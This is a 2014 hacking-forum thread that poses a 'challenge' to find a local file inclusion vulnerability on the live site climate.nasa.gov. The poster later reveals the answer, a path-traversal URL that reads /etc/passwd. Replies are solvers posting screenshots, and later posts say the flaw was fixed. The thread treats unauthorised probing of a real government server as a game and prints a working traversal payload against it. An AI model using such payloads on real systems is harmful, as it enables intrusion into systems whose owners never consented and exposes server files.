Hack Forums
[ LFI CHALLENGE:]>_NASA.GOV_[/MEDIUM/EASY] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [ LFI CHALLENGE:]>_NASA.GOV_[/MEDIUM/EASY] (/showthread.php?tid=4274179)

[ LFI CHALLENGE:]>_NASA.GOV_[/MEDIUM/EASY] - ｍＯｂｉＩｅ - Jun 8, 2014

[img]http://foss4g-e.org/sites/default/files/nasa.png[/img]
[img]http://stratify.co/wp-content/uploads/2013/06/Are-You-Up-for-the-Challenge.png[/img]


NASA.GOV is always full of vulnerabilities, let's see who can find the LFI at:
Quote:http://climate.nasa.gov


PoC:
[Image: STzgfMk.jpg]

Post a screenshot below and PM me with the correct answer to make the solvers list.
Solvers:
1.) SPID3R
2.) huji
3.) Pernicious Arcane
4.) Zayne
5.) LevelUp
6.) callmeblezz
7.) w3areanonymous
8.) ??

Good Luck! ..and thanks for viewing my thread.

EDIT: This challenge is over, the answer was;
PHP Code

<?php 
http://climate.nasa.gov/education/pbs_modules/glossary1?layout=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 

* - Winners - Jun 8, 2014

I'll get started on this now. Nice thread competition btw 👍

* - -Acid - Jun 8, 2014

Thanks for the challenge:

[Image: FBecxFa.png]

I PMed you the query
🤝

* - Im gone brah - Jun 8, 2014

[Image: XBHmolZ.jpg]
If you say so...

* - LevelUp - Jun 8, 2014

Ok.

[Image: t341lY9.png]

* - callmeblezz - Jun 8, 2014

finished! nice challenge!😝
[Image: zzJI5rQ.png]

* - w3areanonymous - Jun 9, 2014

Thanks for the challenge 😁

[Image: Ve4Wi4Q.png]

* - R^ptor - Oct 4, 2014

Is the vuln still there? Is it worth trying to do this challenge?

* - asm-99 - Oct 5, 2014

I didn't find it.
I tried everything I know but always got the error page.
I even try to get somthing from the pics(glosaary, meterogist) using google dork but still nothing
Can you solve the challenge if it's already end?

* - Arqa - Oct 5, 2014

I wonder how many people believed that this is NASA's official site and tried a combination of Hotspot Shield with Havij Pro.

* - -Acid - Oct 5, 2014

(Oct 5, 2014 06:23 AM)asm-99 Wrote:  I didn't find it.
I tried everything I know but always got the error page.
I even try to get somthing from the pics(glosaary, meterogist) using google dork but still nothing
Can you solve the challenge if it's already end?

This post was old...near about 4 months old...and this vulnerability is fixed

* - R^ptor - Oct 11, 2014

(Oct 5, 2014 12:10 PM)-Acid Wrote:  This post was old...near about 4 months old...and this vulnerability is fixed

Ahhhhhh thats why 🤗🤗🤗🤗 i thought I was getting stupid

* - R^ptor - May 27, 2016

(Jun 8, 2014 03:10 PM)Zayne Wrote:  [Image: XBHmolZ.jpg]
If you say so...

Savage did it on Iphone 😖😖

* - Prawnster - Aug 6, 2016

(May 27, 2016 11:27 AM)Phantom4lfye Wrote:  Savage did it on Iphone 😖😖

You legit grave dug the same thread, twice...